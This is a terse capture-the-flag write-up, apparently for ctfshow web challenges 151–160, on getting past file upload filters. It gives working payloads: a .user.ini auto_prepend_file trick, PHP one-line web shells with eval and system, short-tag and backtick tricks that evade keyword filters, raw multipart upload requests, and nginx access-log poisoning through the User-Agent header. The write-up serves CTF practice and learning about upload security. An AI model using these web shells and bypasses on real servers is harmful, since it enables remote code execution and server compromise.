web151 改后缀
提示前端校验不可靠
抓包改 后缀
webshell连接
获取flag
web152 改后缀
web153 只能下载,上传.user.ini 绕过
过滤了php文件 ,上传了几个 php5,phtml都只能下载
上传第一步,
上传一个 .user.ini
内容为
auto_prepend_file=1.png
auto_prepend_file 是PHP中的一个配置选项,它指定了一个脚本文件名,这个文件将在PHP处理任何请求之前自动包含(执行
简单来说 ,就是每次执行php文件前,都会去包含这个1.png文件 ,去执行他,相当于文件包含
上传第二步
上传1.png
访问upload/index.php
访问 获取flag
web154 上传.user.ini ,过滤内容php 绕过
后端不能单二校验
根据上一步操作
先上传了 .user.ini 成功上传
内容为
auto_prepend_file=1.txt
再上传
内容为
<?php system("cat /var/www/html/flag.php"); ?>
但是这里过滤了php 内容过滤php
使用短标签
<?=eval($_POST[1]);?>
访问获取flag
web155 上一题一样
提示后端校验要严密
上一题做法
web156 内容过滤了[] 使用{} 绕过
先上传 user.ini
经过测试发现过滤[] 使用{} 绕过
------WebKitFormBoundarySxPVnRFwuKGy4LGu
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/png
<?=eval($_POST{cmd}); ?>
------WebKitFormBoundarySxPVnRFwuKGy4LGu--
访问获取flag
web157 过滤了;
依旧先上传一个 user.ini
上传上一个的exp 也不行了
{} 过滤
过滤;
直接文件读取
<?=system('tac ../f*')?>
web158
先上传
使用上一段payload 也可以
web159 过滤() 使用反引号绕过
先上传user.ini
内容过滤()
直接使用反引号
<?=`tac ../fl*`?>
web160 过滤了php,执行函数,反引号等 思路:日志包含
先上传 user.ini ,能成功上传
基本都过滤了 代码执行的
使用单引号 双引号没有过滤
我们上传一个1.png
里面包含一个日志文件
------WebKitFormBoundary3HYsXom1ZKYBqpdU
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/png
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
------WebKitFormBoundary3HYsXom1ZKYBqpdU--
然后再把 user.ini 包含的文件改为上传的这个地址
文件upload 就直接解析了 日志了
user-agent 直接添加phpinfo 看看是否执行
成功执行了
写一句话
<?php eval($_POST[1]);?>